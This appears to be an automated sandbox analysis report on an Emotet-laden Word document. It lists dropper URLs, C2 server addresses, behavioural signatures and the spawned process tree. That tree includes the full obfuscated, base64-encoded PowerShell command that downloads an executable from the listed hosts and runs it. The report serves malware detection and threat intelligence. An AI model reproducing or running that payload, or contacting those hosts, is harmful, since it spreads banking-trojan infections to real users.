Overview

overview

10

Static

static

8

1065077927426.doc

windows7_x64

10

1065077927426.doc

windows10_x64

10

Analysis

  • max time kernel
    62s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7v200722
  • submitted
    15/09/2020, 11:55

Sharing

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Report Analysis Logs

General

  • Target
    1065077927426.doc
  • Size 153KB
  • Sample200915-ka49grksh6
  • SHA256 1d2bf8d22eeecff963437ca091244a4de2cb9c9f01b0219fb61c858e4bb9f41c
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://cnnmediaservices.com/wp-admin/czBMOhz/
  • exe.dropper

    http://ak3.net/t0XJ/
  • exe.dropper

    http://ovday.com/1umq/S5IWl04/
  • exe.dropper

    http://gch7.com/wp-includes/Nkwp/
  • exe.dropper

    http://chengmikeji.com/wp-includes/9QQ/
  • exe.dropper

    http://blog.anseeing.com/sys-cache/h/
  • exe.dropper

    http://1sync-wp.x.opencrm.eu/wp-content/Bu/

Extracted

Family

  • emotet

C2

  • 220.245.198.194:80

  • 104.156.59.7:8080

  • 120.138.30.150:8080

  • 139.59.67.118:443

  • 139.130.242.43:80

  • 104.32.141.43:80

  • 156.155.166.221:80

  • 121.7.127.163:80

  • 153.177.101.120:443

  • 162.241.242.173:8080

  • 91.211.88.52:7080

  • 95.179.229.244:8080

  • 103.86.49.11:8080

  • 139.59.60.244:8080

  • 121.124.124.40:7080

  • 104.131.11.150:443

  • 200.114.213.233:8080

  • 82.225.49.121:80

  • 79.98.24.39:8080

  • 5.196.74.210:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 6 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\1065077927426.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1036
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -e JABEAGwAagBxAGMAcQB0AD0AKAAnAEYAJwArACgAJwA4ADcAcABiACcAKwAnADYAJwApACsAJwB2ACcAKQA7ACYAKAAnAG4AZQB3AC0AJwArACcAaQAnACsAJwB0AGUAbQAnACkAIAAkAGUAbgBWADoAdQBzAGUAcgBwAFIATwBmAGkATABFAFwAeQBzADEASAAyAG4AeABcAEMANgBOADYAdgB5AHEAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIAZQBjAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAGMAVQBSAEkAVAB5AFAAcgBPAFQAYABvAEMAYABvAEwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAJwArACcAcwAxADIAJwApACsAKAAnACwAIAB0ACcAKwAnAGwAJwApACsAKAAnAHMAMQAnACsAJwAxACwAIAB0ACcAKwAnAGwAcwAnACkAKQA7ACQATgBfAHUAbgBxAG4ANgAgAD0AIAAoACcASAAnACsAJwAzACcAKwAoACcAdgAnACsAJwBoAGsAJwArACcAcQB6AHIAJwApACsAJwAyACcAKQA7ACQATAA1ADgAdQBmADUAdQA9ACgAKAAnAEcAZgBlAHAAJwArACcAaQAnACkAKwAnAHQAXwAnACkAOwAkAFYAbgB5AHQAeQBrAG8APQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBuAEwAJwArACcASgBZACcAKwAnAHMAMQBoADIAbgAnACkAKwAoACcAeABuAEwASgBDACcAKwAnADYAJwApACsAJwBuACcAKwAoACcANgB2AHkAJwArACcAcQAnACkAKwAoACcAbgAnACsAJwBMAEoAJwApACkAIAAgAC0AQwBSAEUAcABMAEEAQwBFACAAKABbAEMASABhAHIAXQAxADEAMAArAFsAQwBIAGEAcgBdADcANgArAFsAQwBIAGEAcgBdADcANAApACwAWwBDAEgAYQByAF0AOQAyACkAKwAkAE4AXwB1AG4AcQBuADYAKwAoACgAJwAuAGUAJwArACcAeAAnACkAKwAnAGUAJwApADsAJABBADYAcwBoAF8AaQBqAD0AKAAnAFAAJwArACgAJwA1ACcAKwAnAGQAaQAnACsAJwBiAHoAdwAnACkAKQA7ACQASQA0ADIAYwA1ADIAXwA9AC4AKAAnAG4AZQB3AC0AbwBiAGoAJwArACcAZQAnACsAJwBjAHQAJwApACAAbgBFAHQALgB3AEUAQgBjAGwAaQBFAG4AVAA7ACQATgB3AHgAbgBwAHYAaAA9ACgAKAAnAGgAdAB0ACcAKwAnAHAAJwApACsAKAAnADoALwAvACcAKwAnAGMAbgBuAG0AJwApACsAJwBlAGQAJwArACcAaQBhACcAKwAnAHMAJwArACgAJwBlACcAKwAnAHIAdgBpACcAKQArACcAYwBlACcAKwAoACcAcwAuAGMAJwArACcAbwBtACcAKwAnAC8AdwBwACcAKwAnAC0AYQBkAG0AaQBuAC8AYwB6ACcAKwAnAEIAJwApACsAKAAnAE0ATwBoACcAKwAnAHoALwAqACcAKwAnAGgAdAAnACkAKwAoACcAdAAnACsAJwBwADoALwAnACkAKwAoACcALwAnACsAJwBhAGsAMwAuACcAKwAnAG4AZQB0ACcAKQArACgAJwAvAHQAMABYACcAKwAnAEoALwAnACsAJwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKwAnAC8AJwApACsAKAAnAG8AdgAnACsAJwBkACcAKwAnAGEAeQAuAGMAJwArACcAbwBtAC8AMQAnACkAKwAoACcAdQBtAHEAJwArACcALwAnACkAKwAnAFMANQAnACsAKAAnAEkAVwBsACcAKwAnADAAJwApACsAKAAnADQAJwArACcALwAqAGgAdAAnACkAKwAoACcAdABwADoAJwArACcALwAvACcAKQArACcAZwAnACsAJwBjACcAKwAnAGgANwAnACsAKAAnAC4AYwBvAG0AJwArACcALwB3ACcAKwAnAHAALQAnACkAKwAnAGkAbgAnACsAJwBjACcAKwAnAGwAJwArACcAdQBkACcAKwAnAGUAJwArACgAJwBzAC8ATgAnACsAJwBrAHcAJwArACcAcAAvACoAJwApACsAJwBoAHQAJwArACgAJwB0AHAAOgAvACcAKwAnAC8AJwArACcAYwBoACcAKwAnAGUAbgBnAG0AaQBrAGUAJwApACsAKAAnAGoAaQAuAGMAbwBtAC8AJwArACcAdwAnACsAJwBwACcAKQArACgAJwAtAGkAJwArACcAbgBjAGwAdQBkAGUAJwApACsAJwBzAC8AJwArACgAJwA5AFEAJwArACcAUQAvACoAaAAnACkAKwAoACcAdAB0AHAAJwArACcAOgAnACkAKwAnAC8ALwAnACsAKAAnAGIAJwArACcAbABvACcAKQArACgAJwBnAC4AYQBuAHMAJwArACcAZQAnACkAKwAoACcAZQBpACcAKwAnAG4AJwApACsAKAAnAGcAJwArACcALgBjAG8AbQAvACcAKQArACgAJwBzAHkAcwAtACcAKwAnAGMAYQBjAGgAZQAvACcAKwAnAGgAJwArACcALwAnACsAJwAqACcAKQArACgAJwBoACcAKwAnAHQAdABwADoALwAvADEAJwApACsAKAAnAHMAeQBuAGMAJwArACcALQAnACsAJwB3AHAALgAnACkAKwAoACcAeAAnACsAJwAuAG8AcABlAG4AJwArACcAYwByACcAKQArACcAbQAnACsAJwAuACcAKwAnAGUAJwArACgAJwB1AC8AJwArACcAdwAnACkAKwAoACcAcAAtACcAKwAnAGMAbwAnACkAKwAnAG4AdAAnACsAKAAnAGUAbgB0ACcAKwAnAC8AQgB1ACcAKQArACcALwAnACkALgAiAFMAcABMAGAASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAUwBwAF8AMQBtAHkAMgA9ACgAKAAnAFcAJwArACcANQB2AHEANgAnACkAKwAnADYAJwArACcAdAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABJAGYAYwB1ADEAYQB5ACAAaQBuACAAJABOAHcAeABuAHAAdgBoACkAewB0AHIAeQB7ACQASQA0ADIAYwA1ADIAXwAuACIAZABPAHcAYABOAGwAbwBgAEEAZABmAEkATABlACIAKAAkAEkAZgBjAHUAMQBhAHkALAAgACQAVgBuAHkAdAB5AGsAbwApADsAJABGADUAcQA2ADAAdAB6AD0AKAAoACcATwB0ACcAKwAnADAAbQAyACcAKQArACcAbABnACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAJwArACcAdAAtAEkAdABlAG0AJwApACAAJABWAG4AeQB0AHkAawBvACkALgAiAGwAZQBgAE4AZwBgAFQAaAAiACAALQBnAGUAIAAzADEAMwA4ADEAKQAgAHsAJgAoACcASQBuAHYAJwArACcAbwBrAGUALQBJAHQAJwArACcAZQAnACsAJwBtACcAKQAoACQAVgBuAHkAdAB5AGsAbwApADsAJABJADEANQB0AGoAZgBuAD0AKAAoACcATQAnACsAJwBuAGYAeQA1ACcAKQArACcAdAAxACcAKQA7AGIAcgBlAGEAawA7ACQAQQBhAGkAaQAzADUAZwA9ACgAKAAnAFQAJwArACcAZgA0ACcAKQArACgAJwB6AG8AawAnACsAJwB0ACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABBADgAdABmADEAdAAwAD0AKAAnAEMAMgAnACsAJwBzACcAKwAoACcAZwB0ACcAKwAnAHUAMQAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1576
    • C:\Users\Admin\Ys1h2nx\C6n6vyq\H3vhkqzr2.exe
      "C:\Users\Admin\Ys1h2nx\C6n6vyq\H3vhkqzr2.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1356
      • C:\Windows\SysWOW64\wpdwcn\QSVRMGMT.exe
        "C:\Windows\SysWOW64\wpdwcn\QSVRMGMT.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:308

Network

        MITRE ATT&CK Matrix

        Replay Monitor

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        Downloads

        memory/308-19-0x00000000002E0000-0x00000000002F0000-memory.dmp
        Download

        memory/308-18-0x0000000000300000-0x0000000000312000-memory.dmp
        Download

        memory/808-20-0x000007FEF3A60000-0x000007FEF3CDA000-memory.dmp
        Download

        memory/1036-3-0x0000000007270000-0x0000000007470000-memory.dmp
        Download

        memory/1036-2-0x0000000008B80000-0x0000000008B84000-memory.dmp
        Download

        memory/1356-14-0x00000000002F0000-0x0000000000302000-memory.dmp
        Download

        memory/1356-15-0x0000000000310000-0x0000000000320000-memory.dmp
        Download

        memory/1576-6-0x000000001AC20000-0x000000001AC21000-memory.dmp
        Download

        memory/1576-10-0x000000001B800000-0x000000001B801000-memory.dmp
        Download

        memory/1576-9-0x000000001B770000-0x000000001B771000-memory.dmp
        Download

        memory/1576-8-0x00000000023F0000-0x00000000023F1000-memory.dmp
        Download

        memory/1576-7-0x00000000023C0000-0x00000000023C1000-memory.dmp
        Download

        memory/1576-5-0x00000000022E0000-0x00000000022E1000-memory.dmp
        Download

        memory/1576-4-0x000007FEEA440000-0x000007FEEAE2C000-memory.dmp
        Download